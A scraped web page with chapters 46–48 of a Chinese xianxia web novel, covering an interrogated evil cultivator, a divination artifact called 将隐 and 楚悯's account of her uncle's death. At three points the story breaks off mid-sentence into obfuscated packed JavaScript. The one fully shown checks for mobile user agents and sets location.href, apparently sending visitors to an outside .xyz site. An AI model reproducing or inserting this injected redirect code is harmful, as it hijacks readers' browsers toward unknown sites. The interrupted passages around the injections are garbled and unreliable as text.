“头两年仙盟提议办集中教习的时候没提前知会朝廷,要不是我们接到消息先问起来,估计连个响也不会给我们听见,毕竟朝安城没有仙山。” 她说的“我们”自然是指她和苍韫桢。 章存舒点点头,接上她的话茬:“然后今年跟你们说了,就把主意打到归墟头上来了。” 闻越没忍住,笑出声来:“算盘打得够响的。”毕竟姓严的还没从朝安城动身,这边归墟就知道了,怎么不算是算盘打得响呢。 柳卿知神色淡淡:“头两年放在仙盟的时候没提过要观摩,今年放在归墟还没一个月呢,不知道打的什么主意。” 章存舒随口道:“也可能没打什么主意,就是想耍个威风。” 然后……这会儿可能因为在归墟乱窜,遇到不少灭他威风的人吧。 **** 议事堂相当安静,守门的弟子也走了。关云铮推开门进去的时候,那个邪修依旧一动不动地跪在地上,从他身上显出来的字也依旧在他上空漂浮着。 关云铮走近时那人终于动了动,只不过因为被捆缚得太紧,没能有什么大幅度的动作:“谁?” 关云铮没回答他,那人又自嘲地笑了一声:“还能是谁。怎么,这阵法问出来的结果你们还不满意?” 关云铮走到他面前:“我不是天问中人。” 那人抬起头来看她:“是你?” “是我。看来阵法的影响消散了,你现在很清醒。”关云铮垂眼看向他。 跪在地上的人冷笑一声:“你又想问什么?” “被引魂的人都会死吗?” “废话。” “你们拿魂魄做什么?” “我为什么要告诉你?” “你可以不告诉我,我也不会对你动手,但你坦白与否都不影响你的结局。你不说,我会在下一次遇见鬼灯楼的人时再问,总有人会告诉我。” “你遇见过很多我们的人?” “多数都死了。”这句话半真半假,死确实都死了,但多数不是死在她手里。 “……有些拿来做成引魂香,其他的任凭消散。” “你一直在天问的地界?” “不久前才过来。” “之前在哪?” “镜溪城吧,你问多久之前?” “你知不知道镜溪城前段时间死了三个鬼灯楼的人?” “什么意思,你干的?” “你认识吗?” “算是认识,你到底想问什么?” “你知道他们曾经抓过一个姓关的姑娘吗?” “姓什么我怎么知……你说姓关?” 邪修脸上的神情不似作伪,关云铮语气没变,问道:“怎么,真有姓关的?” “但她不是我们抓来的,不对,应该说确实是我们抓来的,但没打算在她身上引魂。”邪修仿佛突然又记忆混乱发作,刚说完便矢口否认道,“不对,当时好像是引魂了,但是没成功。” “为什么?” “我哪知道,我也是听说的,那姑娘本来就不想活了吧,被抓来的时候压根没反抗。” “然后呢?” “然后?死了呗,还有什么然后?” “你不是说引魂没成功吗?” “我也记不清了,跟我说这事的那人神神叨叨的,你到底要做什么?” “你们邪修会为了达成目的献舍吗?” “献舍?这都失传多少年了,压根没人会。” “那心魔引,你们门派中有多少?” “还有这东西?你怎么比我懂的还多?你真是名门正派?” 关云铮笑了声,轻声说道:“看来当时杀错人了,你知道的确实不多。” 那人只恨自己被绑得太紧,此刻看到关云铮的笑容简直后脊发凉:“什么意思?” “没什么意思,可惜你多半没法回鬼灯楼了,不然我还挺想让你去问问,那个叫关云筝的姑娘到底怎么样了。”关云铮说完这话,绕过地上的人,准备往外走。 “你是她什么人?”邪修在她身后追问,“你为什么那么清楚她的事?” 关云铮没回答,继续往外走。 “等等!你,你不是就叫关云铮吗?” 她停下脚步转过身,轻声笑起来:“是啊,我是关云铮。” 46.第 46 章 可以说是依旧一无所获。 关云铮从议事堂出来,下意识摸出乾坤袋,把手伸进袋里摸了摸那张传送符。 有点想回归墟了,哪怕她离开还不到一天。 但是她至少得跟楚恽打个招呼。 这就很矛盾了,因为她现在不想跟任何人交谈。 可能是杀人的后劲上来了,也可能是活人不能看太久的魂魄记忆,总之出于各种她知道或不知道的原因,她现在很累很烦,想找个地方歇会儿。 但这里不是归墟,她能去哪里休息呢。 方才那个院子是个好去处,但是她不想往那边走,怕遇见天问的人。溯洄周围倒是很安静,但是心魔引会冒出来打扰。 真愁人,要是在归墟好歹能窝在秋千上自闭一会儿。 左右现在没有人会来议事堂了,要不就在旁边找个地方坐一会儿吧。 ——于是楚泽枫想起什么事情找回来的时候,就看见那个归墟的弟子坐在议事堂门口的台阶上,双手抱着腿,脑袋搭在膝盖上,好像睡着了。 他站在不远处想了想,拿出灵牒给楚恽传信:“来议事堂一趟。” 那边接着信的楚恽还以为出什么事了,火急火燎地跑过来,发现他爹,也就是天问掌门,正站在不会惊扰关云铮睡觉的地方,等关云铮睡醒。 楚恽茫然了一瞬:“父亲,您找我?” 楚泽枫点点头,把怀里一个东西给他:“把这个给她。” 楚恽接过,发现是他爹这段时间刚做好的一个小法器:“您为何不亲自给她?” 他爹用一种掺杂着困惑,但困惑非常不明显的眼神看了他一眼:“她在睡觉。” 楚恽无言以对,只好点头应下:“好,我来给她,父亲可还有其他要我做的?” 他爹已经转身走了。 楚恽:“……” 关云铮可能是太累了,趴着的这么一会儿居然睡着了,还做了个没头没尾的梦。 梦里的她坐在书桌前玩手机,注意力明显不集中,手机屏幕上的小说页面半天也没动一下,显然是在开小差。很快目光又瞥见角落里放了一天的几瓣柚子,于是把手机架在支架上,拿过柚子开始剥。 估计放了至少一个晚上,皮有点干,黏在果肉上,两瓣柚子之间也黏连得很紧,只能从中间掰断,然后一点一点地把皮撕下来。 干了的皮有点脆,还有点硬,她一边剥皮一边看手机,被那点边角扎进指甲里,痛得“嘶”了一声。 真出声了,直接把自己“嘶”醒了。 醒了才发现是腿麻了,正准备甩手缓解,发现不远处站了个人。 吓得她慌不择路向后一仰,脑袋差点磕在议事堂的门上。 好在坐的台阶低,门离得远,没磕到就清醒了。 “楚师兄。”她腿麻得站不起来,只好一边小幅度的甩手一边打招呼,感觉有点不好意思。 楚恽似乎等在这挺久了,也不知道是什么事能让他等在这却不叫她。 关云铮好奇地看了看面前的人:“有什么事吗?” 楚恽好像措了半天的辞,最后又放弃了,这时候走上来把手里的东西给她:“这是掌门给你的。” 她甩手的动作停住:“给我?为何?” 楚恽叹了一口情绪相当复杂的气:“我不知道。” 关云铮尽量让自己的表情看起来不要那么匪夷所思:“好吧,那这是什么?” 楚恽干巴巴地解释道:“是个法器。” 关云铮接过他手里的东西,听见这句实在没控制住,用一种呆滞伴随着震惊的表情看向他:“没了?” 这谁看不出它是个法器?但这就没了? 楚恽看着她:“嗯,其他的我也不了解。” ……可真行。 楚恽的表情都能算得上哭笑不得了,他沉默了好久才又说道:“我之后去问问他。” 关云铮腿不怎么麻了,撑着地面站起来:“那我就谢过楚师兄和掌门。” 楚恽点点头,又问:“是不是要回去了?” 关云铮正思考怎么开口,楚恽已经善解人意地先提出来了,她索性点点头,就坡下驴道:“嗯,多谢楚师兄这一日的照顾。” 楚恽笑起来:“应该的。” 她从乾坤袋里摸出那张传送符,本来觉得烧掉比较帅,但暂时找不到火,只好上手撕成碎片,又出于不能乱丢垃圾的习惯,把碎片攥进手里。 “楚师兄,下次再见。”她抬起头对楚恽笑了笑。 “亮了亮了!我就说该回来了!” 闻越的声音。 关云铮还没在传送阵法里站稳,手里的符纸碎片被一阵风卷走了,她下意识伸手捞了一把,抓住了……楚悯的手。 诶? 楚悯上前一步,伸出另一只手把她抱住了。 诶? 关云铮下意识回抱楚悯,又用手拍了拍她的后背:“怎么了?” 章存舒的声音在她背后响起:“等你回来吃饭。” 关云铮自然没打算推开这个拥抱,但忽然想起一件要命的事,挣扎着说道:“我衣服上好像有血。” 她在心里嘀咕:好好一个拥抱变得怪埋汰的。 章存舒和闻越听见这话,瞬间大呼小叫着上来把她围住,楚悯立马松开她,和凑上前来的师姐仔细地查看了一圈她有没有受伤。 关云铮对上人群外江却关切的视线,眨巴眨巴眼:“那什么,我还没说完,是邪修的血,我没事。” 章存舒不太明显地长舒了一口气。 闻越简直想跳脚:“下次不许说话大喘气了啊。” 连映摸了摸关云铮的脸:“没事就好。” 而楚悯在关切地看了她一会儿后,若有所觉地看向她那只虚握成拳的手。 于是关云铮在一圈人的注视下摊开手:“这是天问掌门给我的,”她看向楚悯,“是你哥哥转交的。” 所有人的目光又投向她手里的那个小玩意儿。 看着很像个日晷的微缩模型,只不过中间没有晷针。上下有三个大小互相嵌套的轮盘,最下方的有巴掌大,最上方的一层只有握拳后掌心的大小。 说实话,她不太懂天问掌门给她这个的用意,指望她自己开悟,明白这玩意儿的作用机制?那也太抓瞎了吧。 “你见过这个吗?”她把手往楚悯面前伸了伸。 楚悯正要摇头,忽然察觉到什么,低头把乾坤袋里的灵牌摸出来。 她低头快速看了眼灵牌上传过来的讯息,没顾上立刻给她兄长回信,抬起头对关云铮说:“兄长说,此物名将隐。” **** 晚饭几人围坐一桌,关云铮和楚悯坐一边,闻越和关云铮挨着,趁章存舒没注意,凑过来说道:“师父还说自己不操心呢,看他大呼小叫的。” 关云铮颇觉好笑地看他,配合地放低声音说道:“你不也大呼小叫了吗,师兄?” 闻越很坦然:“我好歹言行合一,哪像师父,他昨日还在我和师兄师姐面前装蒜。” “蒜”字还没落下,荣获章存舒敲头。 闻越吃痛地捂了一下脑袋,亡羊补牢地揉了揉:“师父!” 章存舒端着一碗甜汤坐下,在连映的注视下……把汤端给了关云铮。 关云铮脑海里自动出现黛玉语气:这是原来就给我的,还是你不能喝才给我的?她默默把脑海里的奇思妙想掐了,低头喝了口,随即抬起头来:“不怎么甜,师父能喝。” 章存舒刚要坐下,闻言又起身去盛汤了。 。真行。嗜甜人设不倒。 楚悯给兄长回完了信,开始解释道:“这个法器是我……是掌门近期打造出来的,以灵气驱动,可进行推演与卜算。” 关云铮捕捉到了她说掌门之间那个“我”字,忽然有了个大胆的猜测,但忍着没说,问道:“哪种程度的推演和卜算?可以问天吗?可以削减代价吗?” 楚悯知道她最关心的就是代价的事,于是先对这一点解答道:“可以削减代价,不过也因此,能进行的推演与卜算有限,会受制于使用者对灵气的运用与自身境界。” 关云铮点点头,完全是天问派的逻辑,人的能力越强,能进行的卜算就更深刻,只不过过程中不会因为卜算受到反噬。 反正是在归墟,她“口不择言”道:“那为何不多打造几个?”代价这种事又不是什么勋章,积累得越多越光荣。这么好用的东西,要是制作起来没难度的话,推广一下也未尝不可吧。 但楚悯居然没立刻回话。 关云铮顿时警惕道:“这玩意儿到底要花多少灵气?” 两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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关云铮心虚地点了点头,心说下次背诗不能再出声了,显着她了是怎么的,不能默背吗。随即她又想起吃饭时想到的事,立马抓住最后一根稻草似的转移话题道:“小悯。” 楚悯拉着她在石桌边坐下:“怎么了?” 关云铮忽然又有点开不了口,总觉得当时小悯临时改口,或许是不想说的吧? 她的纠结都写在脸上了,楚悯笑了笑:“想问什么?” 关云铮一边观察着楚悯的脸色,一边问道:“天问掌门,是……你父亲吗?” 楚悯点头:“是我父亲。” 果然。 之前在议事堂门口刚睡醒的时看见楚恽,她就发现了不苟言笑的楚恽乍一看有几分像那位掌门,所以当时才会被吓一跳,还差点磕到后脑勺。 只不过很快楚恽就又恢复平时那个样子了,又把将隐塞到了她手里,她也就没顺着这个想法思考下去。 不过小悯好像并不介意的样子…… “那时没有必要提及此事,所以没说。”楚悯解释道。 虽然确实没有必要,因为当时谈话的重点是将隐,但是需要这么严谨吗? 关云铮又开始用那种很担忧的眼神看着楚悯了,好像在看一个总被规矩压得无法喘气的可怜孩子。 楚悯没忍住,笑出声来:“你这样看着我,不知内情的人会以为我父亲在门中经常苛待我。” 关云铮露出很隐晦的“难道不是吗”的眼神。 楚悯摇摇头:“父亲以前不是这样的。” 关云铮的眼神从担忧转变为好奇。 楚悯和她对视片刻,神色变得有些犹豫,似乎是不知道该不该说出接下来的话。 关云铮看懂了她的神色:“怎么你也顾虑起来了?” 楚悯坦言:“接下来的话似乎有些不合时宜。” 关云铮宽慰她:“不是夜间谈心吗,没有什么合不合的,想说什么说什么呗。” 楚悯笑着叹了口气,开口时笑意却淡退了一些:“是……叔父逝世后,他才变成现在这样的。” 关云铮感觉自己仿佛被空气噎了一口,谈话的氛围骤然从欢欣切换到沉痛,她差点没控制住表情。 她现在只想穿越到几秒钟之前,让说出“想说什么说什么”的那货把嘴巴闭上。 就知道不该问的啊!谁来救救她这个说错话的小女孩! 47.第 47 章 楚悯用那种“我说了会不合时宜吧”的眼神看着关云铮,接着说道:“你有没有写每日记录的习惯?” 关云铮愣了一下,没明白她为什么忽然拐到这个话题上,于是下意识重复了一遍她的问题:“写日记?” 楚悯若有所思:“这也是……在别处看来的?” 关云铮打了个磕巴,有时候嘴跑得比脑子快就这点不好,话都凉透了她脑子才转过弯来:“啊,确实是别处看来的。怎么了,忽然说到这个。” 楚悯摸了摸月下逢的琴身:“我小时候发现,单纯思考事情、不记录的时候,容易受到情感的干扰,但要是此时提笔把要思考的事记录下来,受到的情感上的影响就会削减很多。” 关云铮“唔”了声,总感觉这个说法无端耳熟,在哪里听过呢…… “我觉得说出来也是一样的道理,很多事放在心里不对他人言的时候,就显得格外严重一些,说出来后反而会发觉不过如此。”楚悯这样说道。 关云铮现在明白她提及日记这个话题是什么目的了。 正如她苦恼于如何引气入体之时,楚悯在那番话里用了握住水流作为例子一样,楚悯在谈及略显沉重的话题时,似乎倾向于用一个乍听风马牛不相及的寻常话题,作为她言论的开头。 是个非常擅长诉说和说服他人的人,只是多数时候都很沉默。 楚悯用写日记的例子告诉她,自己会把“叔父逝世”这件事说出口,便是不觉得关云铮谈起这个话题是不合时宜。 但是创伤被时间冲刷得再淡,伤疤长得再好,都会留下痕迹。她小学六年级长的冻疮到现在都能看出……啊,现在看不到了,原身没有伤疤。 关云铮想到这,轻轻叹了口气:“我没有写日记的习惯,常常是脑子里想法一大堆,写下来的句子却没什么关联。” 楚悯此刻的神情像个相当有耐心的教书人:“为何?” 关云铮看了看月下逢:“不知道,可能是我觉得,过一段时间再来看这些句子,会觉得自己很小题大做吧。” 就像长大后看曾经发过的某某空间常常会觉得万分羞耻,说什么“人甚至不能共情以前的自己”。 哪怕长大后面对撕伞的大人时经常会愤慨,为什么明明他们也经历过这些苦日子,但就是不会体谅自己呢? 其实也没什么好感慨的,毕竟大家回头看时也没有体谅过曾经的自己。自己都没法体谅的话,没有经历过同样痛苦的人如何能体谅呢,毕竟每个人的境遇再相似也不可能相同。 幼时的窘迫是真的,困惑是真的,伤心、快乐、甚至矫情,这些都是真切的,是自己的一部分。但很多人甚至不能认可这些部分,包括关云铮。 楚悯脸上的困惑也十分真切:“但是你甚至没有写下来呀,你怎么就已经知道,以后的自己一定会觉得小题大做呢。” 关云铮微怔。 是啊,她甚至没有写下来。 她只是在有烦心事想要记录的时候就开始想象来日,想象自己由于心绪不平写下的似是而非的文字,不仅无法被未来的自己看懂,还会被嘲笑是“少年心事”,是矫情作怪。 所以根本没有写下来,让理智占据大脑开始分析的过程,她只是反复地在脑内演习着一段情绪,反复地加深加重片段,直到这件事不再重要,被丢去记忆里的某个角落。 但这些片段就像是伤疤,被丢去一边,但并未被抹去痕迹,甚至可能没有完全愈合,翻出来时还会带着隐痛。 啊,她想起来了。 小悯的说法确实是有科学依据的,她曾经看到过。 只用大脑反复思考,情绪脑会抢着恐慌、甚至散布谣言不断放大焦虑。可一旦写下来,负责理智和逻辑的前额叶就会开始运作,而所有已经在大脑中演练得天塌地陷的情绪,在前额叶看来,都不过如此*。 **** 严骛筋疲力尽,打算暂时不去追究归墟,在步雁山给他安排的院子里歇了下来。 不知道柳卿知歇在哪里,换做平时,哪怕不情愿,他也一定会去装模作样的问一句。但此刻,经历了数日来的跋涉和一整天的奔波,他没精力也懒得管了,草草洗漱完就拉过被褥歇下。 天色已然黑沉,任嵩华方才出剑只是懒得再搭理严骛,实则并没有要立刻回来去峰的意思,此刻跟在步雁山身后没出声,等着步雁山的指示。 步雁山难得露出些疲色,叹了口气后强打起精神对任嵩华说:“你先回去吧,我去……找师兄喝酒。” 喝酒?任嵩华的眉尾不甚明显地挑了一下。 章存舒在门中从不喝酒,想来只能是去找凌风起。 步雁山没回话,朝她摆了摆手,朝着凌风起院子的方向走远了。 任嵩华收回视线,裁冰*即刻出鞘,却又在瞬息之后被她按回剑鞘中。 去苍生道看看吧。 **** “小时候族中长老在夸赞我的天赋时,总是说,‘你是这一代最有天赋的天问’,彼时的我已经学会了大衍筮法,就是用蓍草占卜,父亲那时候,”楚悯停顿了一下,似乎是在回忆,“那时候他很高兴。” 楚悯说着,从乾坤袋里摸出几枚已经快被磨没了凸痕的铜钱:“这些铜钱是那时他给我的,据他说,是他幼时学占卜时用的。” “我那时一直不明白,为何长老们都特意提及一般说到‘这一代’,直到后来我见到了叔父卜算时的样子。”楚悯像是随性而为,用指腹把几枚铜钱在石桌上排开,“据说很早以前,天问还没形成门派时,修道者把我们这些会卜算的人叫做通灵者,借助的龟甲、蓍草、铜钱,被他们称作灵媒。” 关云铮没说话。 “叔父不像通灵者,他像灵媒。”楚悯似乎是无意识地在摩挲着最边缘的那枚铜钱,“他天生就会卜算,龟甲、蓍草、铜钱,对他来说都像负累。” 所以长老们总强调“这一代”,因为跃出这一代这个前提,叔父是领先所有门派中人的,毋庸置疑的那个“天问”。 “叔父很少卜算,幼时的我不解,但只敢问兄长,当时兄长的神情……”楚悯停顿了一下,没再往下说。 那时兄长的神情,幼时的她看不懂,长大后就懂了,那是一种善意的隐瞒。 发现她的天赋异于门中其他同辈后,叔父和她待在一起的时间就变多了,有很长一段时间,她的头发都是叔父梳的,连辫子都是他编的。 叔父总是一边给她把乱糟糟的头发梳齐整,一边笑着问她:今天想要什么样的辫子呀? 然后她就会对着铜镜沉思一会儿,向着叔父摇了摇食指。 叔父会装作恍然大悟的样子:只要一股吗?小悯头发这么多,多编一些也很好看。 她会认真地考虑叔父的话,然后摇摇头,说一股辫子才好呢,晚上睡前解开比较省力。 叔父会被她逗笑,然后垂着眼说:是叔父想错了,之前给小悯编了那么多,晚上解得很费力吧? 她又会摇摇头,看着铜镜中的叔父说:没有,只是觉得叔父编那么多也很累。 叔父确实很累,但不是因为给她编辫子这件事。 那时候的叔父已经开始掉头发了,只是她不知道。 她一直觉得名号就像加诸己身的枷锁,被门中人用“这一代最有天赋的天问”夸赞久了,她甚至没能注意到身边的叔父逐渐不束发了。 虽然人的变化都是在一段时间不曾相见之后,重逢时骤然感觉出来的,朝夕相处的人身上产生的变化反而没那么容易察觉。 但这算什么天问?又有什么脸面鼓吹“万事万物了然于心”? “通晓万事是天道对天问的诅咒,是窥探天道势必要付出的代价。”楚悯沉默许久后这样说道。 她成功“问天”那一年,叔父偿还了他作为一个“灵媒”需要付出的代价。 他形神俱灭。 “我父亲那时以为,叔父的魂灵仍有归处。但他用尽手段也没能找到哪怕一缕残留的魂魄。”楚悯收起了那几枚铜钱,“他闭关三年,出关后,盈都峰有了镇山灵器,天问有了溯洄。” 他没了七情。 关云铮很想说点什么缓解一下此刻沉重的氛围,但大概是心里深知说什么都是徒劳,最终什么也没能说出口,跟楚悯一起在石桌边沉默着。 ——任嵩华走来时面对的便是这样的场景。 无情道刚跨过月洞门,看见此情此景停顿了片刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15058889|159306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,随即看向关云铮,问道:“你可见到了严骛?” 关云铮对她提到的人名很茫然,再加上刚才还在悲伤的情绪里,骤然看见任嵩华走来,有点没反应过来,所以十分坦诚地问道:“谁?” 啥玩意儿? 楚悯微微侧过脸,解释道:“仙盟的人。” 关云铮对上任嵩华的视线,大脑运转片刻,想起来了。 所以当时女帝说的那个“姓严的”,就叫这个名字?哪个wu? 任嵩华从她神情中读到自己问题的答案,点点头又说道:“几年前仙门大比时用过一件法器,能测天赋和灵根,章先生安排你们下山,应当是你身上有不可被勘测出的东西,”她给自己的问题下了结论,“没见到就好。” 说完她便转过身,作势要走。 关云铮还没见过一口气说这么多话的任嵩华,也没见过这么说来就来说走就走的性格,一时都呆住了。任嵩华那边都快跨过月洞门了才回过神来叫住她:“等等。” 任嵩华停住脚步,转身看过来。 关云铮惊恐地发现自己叫住她居然不知道该说些什么,在无情道的注视下凝滞片刻才说:“多谢任师姐提醒。” 任嵩华点了点头,临走前又看向楚悯:“那是你的琴?” 这下楚悯也惶恐起来了:“正是。” 任嵩华脸上出现了非常不明显的若有所思:“章先生确通音修之道。” 关云铮:? 就知道她师父个花里胡哨的肯定会这些。 没有说会乐器就是花里胡哨的意思。 任嵩华几句话把在座的两个师妹说得诚惶诚恐又一头雾水,自己御剑走了,素衣飘飞得相当潇洒。 关云铮和楚悯面面相觑,实在不知道该说些什么来总结刚才的场景。 石桌上的月下逢相当善解人意似的,琴弦颤动着来了一段又悲伤又滑稽的小调。 关云铮还是第一次听见月下逢无人弹动自行发声,被吓了一大跳,差点从石凳上摔下去。 楚悯扶了她一把,两人对视片刻,不约而同地笑着叹了一口气。 **** 栖霜趴在凌风起腿上睡着了,不是亲眼见到,步雁山也很难想象一只貂睡着时能发出这么大的呼噜声,那动静大得不由让人怀疑:外界天塌地陷恐怕它也能独自安稳吧? 凌风起习以为常,因此说话时也没顾忌:“你怎么来了?” 毕竟他耍了好些年的脾气,虽然跟两个师弟仍在同一门中,但许久不曾打过招呼。上次在来去峰上同步雁山对坐饮茶,是他们二人之间这些年来的头回交谈,至于章存舒,更是到现在也没说过话。 如果关云铮在的话,大概会嘲讽一句:对对对,你凭一己之力冷暴力所有人,你好厉害哦。 可惜关云铮不在,而步雁山不会嘲讽别人,只会笑眯眯地戳人心窝子,于是他此刻笑眯眯地说道:“我不能来吗?师兄要是不愿意见到我,我这就走。” 成功把凌风起说哑了。 他坏脾气的大师兄给他倒了一杯酒,嘴上仍没好气:“我这可没有茶,将就喝吧。” 步雁山端着杯子答道:“就是来找师兄喝酒的。” 凌风起怀疑他吃错药了,但是之前给他的几瓶丹药里没有能吃成这幅样子的,于是怀疑道:“有心事?” 步雁山喝了一口酒:“倒也算不上。” 栖霜的呼噜声停顿了一下,两人一同低头看去,只见这小玩意儿相当熟练地扯过凌风起的袖子,明明还睡着,眼睛也闭得死紧,但就是毫无阻滞地把袖子给自己盖上了。 “师兄。”饶是步雁山这些年来见多识广,此刻也有几分惊诧了,“你这貂,怕不是已经成精了吧?” 凌风起面无表情道:“谁知道都吃了些什么进去。” 步雁山看破还说破,又喝了一口酒:“苍生道的小徒弟手艺很是不错,师兄也该尝尝。” 凌风起看他一眼,眼神凉凉的:“她?那小丫头不骂我就谢天谢地了,还能给我做饭?” 步雁山煞有介事地点点头:“师兄说的也是。” 凌风起胡子都要气歪了:“你到底做什么来了?!”存心要把他气死是吧?! 48.第 48 章 原本有些沉重的氛围被任嵩华的突然到访打破,月下逢又冷不丁地弹了那么一串小调,再深重的情绪此刻也无法再被提起来了,两人心里反倒都松了一口气。 两人都担心彼此会因为这个话题感到不快,因此默契地开启了别的话题,心照不宣地把这件事放进心里,没再多说。 “那之后的武器课,你岂不是不同我一起上了?”关云铮打量着方才不弹自响的月下逢。 楚悯若有所思地看着自己的琴:“听任师姐的意思,章先生也通音修之道。” 关云铮点点头:“那就是师父教你咯?” 楚悯想象了一下章存舒弹琴的样子:“也许?” 事实证明不能背后说人,还没等两人对各自脑海中想象出来的画面讨论一番,被她们讨论的那个人就从月洞门的另一边走出来:“聊什么呢?” 关云铮本来就没完全坐在石凳上,被章存舒的声音惊得猛回头,无法平衡的情况下结实地摔了个四脚朝天。 “哎哟我去。”临摔倒时她其实抓了一把石桌,但经常摔倒的人都知道,当你失去平衡之后,抓什么都是徒劳。 她摔得太突然,章存舒和楚悯都没反应过来,好在石凳也就那点高度,摔得不算太疼。 关云铮感觉自己今天有点太累了,各种意义上的,于是干脆坐在地上没起来,抬起头对章存舒说:“师父,任师姐方才说你懂音修?” 章存舒像是忽然被她喊回神了,反应了一会儿后才说:“略懂。” 关云铮无语了一下,不知道她师父吃错什么药了,这样说话真的会让她想起某些死装男:“然后?” 章存舒这才彻底回神,先问了一句:“你就这样坐在地上?” 关云铮摆了摆手:“我累死了师父,你就让我坐这吧。” 她师父的表情介于疑惑和感到好笑之间,语气倒是很平静:“我大概只能讲些浮于表面的东西。” 楚悯下意识接道:“那深刻的……?” 关云铮坐在地上,章存舒索性不过去坐了,往门上一靠:“我正好认识一个江湖散修,是音修,她过几天就来归墟。” 关云铮靠在石凳上点点头,接话:“那师父你认识的江湖散修还挺多……的——你说的这个江湖散修叫什么名字?” 章存舒看她:“苏逢雨。” **** 关云铮身心俱疲,第二天早上生物钟彻底失灵,睁眼时只见外头天光大亮,太阳真正意义上的快要晒屁股了。 摇羽的声音响起来:“终于睡醒了?你可真能睡啊,你师兄师姐都来过了,看你还在睡竟也没叫你。” 关云铮游魂似的,抓着被子盖过脸,活像是给自己入殓,语气死水般问道:“哪个师兄?” 摇羽如果有实体此刻脸上的神情一定很精彩:“这就是你关心的事吗?跳脱那个。” 关云铮“哦”了一声,躺着没动,隔着被子又问道:“所以现在什么时辰了?” 摇羽没好气:“我哪知道,估摸着快中午了。” 关云铮猛地坐起,掀开被子就要下床,简直想把看热闹不嫌事大的剑灵从剑里薅出来打一顿——虽然她既不能把它薅出来又打不过它。 “那你还跟我说这么多?”她一边穿外套一边骂骂咧咧,突然后知后觉地看向桌上的摇羽,“我昨晚把你拔出鞘了吗?” 她不至于把这玩意儿拔出来让它在这叽叽歪歪,惹得自己不痛快吧?她是累晕了又不是喝醉了,怎么对这件事一点印象也没有? 摇羽语气懒洋洋的:“那得问你了,昨夜做了什么梦,灵力波动得厉害,都把我震出鞘了。” 关云铮穿鞋的动作顿住:“我这么厉害?” 摇羽:“……你这人关心的事怎么都这么奇怪?” 关云铮自言自语似的:“我昨晚做了什么梦能灵力波动成这样?” 摇羽没接话。 虽然有理论说人每天晚上都会做梦,区别只在于有的人记得,有的人不记得,但她昨晚睡觉的体验更像是昏过去了,这种情况下大脑应该也没有余力编造梦境吧。 睡太饱了,关云铮的脑子此刻非常活泛,具体表现为她开始胡言乱语:“你说有没有可能是心魔引导致的?” 摇羽:“……你说这话自己不害怕吗?” 关云铮坐在地上点点头:“也是,它应该没法挣脱师父下的封印。” 摇羽不知道在想什么,竟然叹了口气:“现在又不着急了?” 她一骨碌爬起来,抄起剑就走:“我急。” **** 严骛此刻也很急。 昨日抵达归墟时有些晚了,学生不在练武场这些地方倒也说得过去,那今日他一大早就守在练武场,怎么依旧一个学生的影子也没看到? 步雁山甚至也不在。 真是活见鬼了。 他本来还想测一测这一批弟子的灵根和天赋,此刻带着法器也无处可使,更是彻底免除了日后因为私自测灵根而被追责的风险。 总不能去找章存舒吧? 前几年刚得知归墟的掌门是步雁山而非章存舒的时候,他完全无法相信,倒不是说步雁山与章存舒对比就要差上许多——他也是在仙榜上有过显著名次的修士,实在是步雁山并不具备一个“掌门”的气度,任谁看了都会以为他是某个脾气好的教书先生。 虽然经历过昨天半日的接触,他此刻对步雁山的印象已经产生了变化,但他依然觉得章存舒是二人之中担任掌门的更优人选。 不过……他有好些年没见过章存舒佩剑了,就连上次仙盟邀他去商议集中教习的事,如此郑重的场合,他都未曾佩剑,实在是礼数全无。 这样想来,他不当掌门倒也可以找出由头——毕竟不能明着跟仙盟过不去,于是看着脾气更好、更懂得尊重仙盟的温顺师弟就成了掌门。 至于昨日遇到的那位…… 昨日他实在是气昏了头,居然没能想起来,章存舒确实还有个师兄,正好就是丹修。 只是章存舒的这位师兄比他还要不尊重仙盟,仙盟中甚至查不到他的记录。 仙盟中修士的记录就相当于凡人之中的户籍,需记录姓名,所在门派,所修派系,所持武器,以及与门中或派中他人的关系。 章存舒的记录里确有提及他尚有一师兄,但不论是往前翻阅或是往后,都看不到这位师兄的痕迹,严骛甚至一度以为这位师兄已经脱出归墟,成了江湖散修,如今看来,分明仍在门中。 如此,归墟岂非欺瞒不报? 倒是没想到寻常观摩还能发现此等问题,到时一并上报好了。 但是此刻该如何?归墟的弟子呢?!都到哪儿去了?! **** 关云铮赶到饭堂时饭菜都上桌了,活了两辈子,不对,她上辈子猝死了,总之活了二十多年没睡得这么爽过,并且睁眼就有饭,关云铮简直愧疚,摸着桌沿坐下时说话的声音都变小了:“我睡过头了。” 朴实无华的坦诚。 师门众人完全不在意,章存舒甚至打了个哈欠,说道:“多睡会儿长个子,我实在没个子好长了,你看,这不是被你师姐叫起来了?” 连映平淡道:“你分明是被馋虫叫醒的。” 江却把最后两盘菜端上桌,在连映身边坐下:“本来小越和小映去叫你了。” 关云铮心虚:“我没听到,睡得太沉了。” 江却摇摇头:“师父说你不起来也好,省得撞上晦气。” 大师兄看着很凶,讲话反而异常直白,听起来甚至有点呆呆的,虽然大家都习惯了,但“撞上晦气”这种说法肯定不是大师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“她是早就追查到了线索?”连映问道。 关云铮思考片刻:“不知道,她也没说,杀完人就走了。”说完她又想起什么,补充道,“哦对,还踩了要暗算我的邪修一脚。” 闻越本来要夹菜,闻言菜也不吃了:“你被人暗算了?!” 关云铮含混地应了一声,没等闻越炸毛,就抬起左手道:“未遂。这只镯子把我手腕拎起来挡下了。” 闻越又放心地坐了回去:“怎么个拎法?” 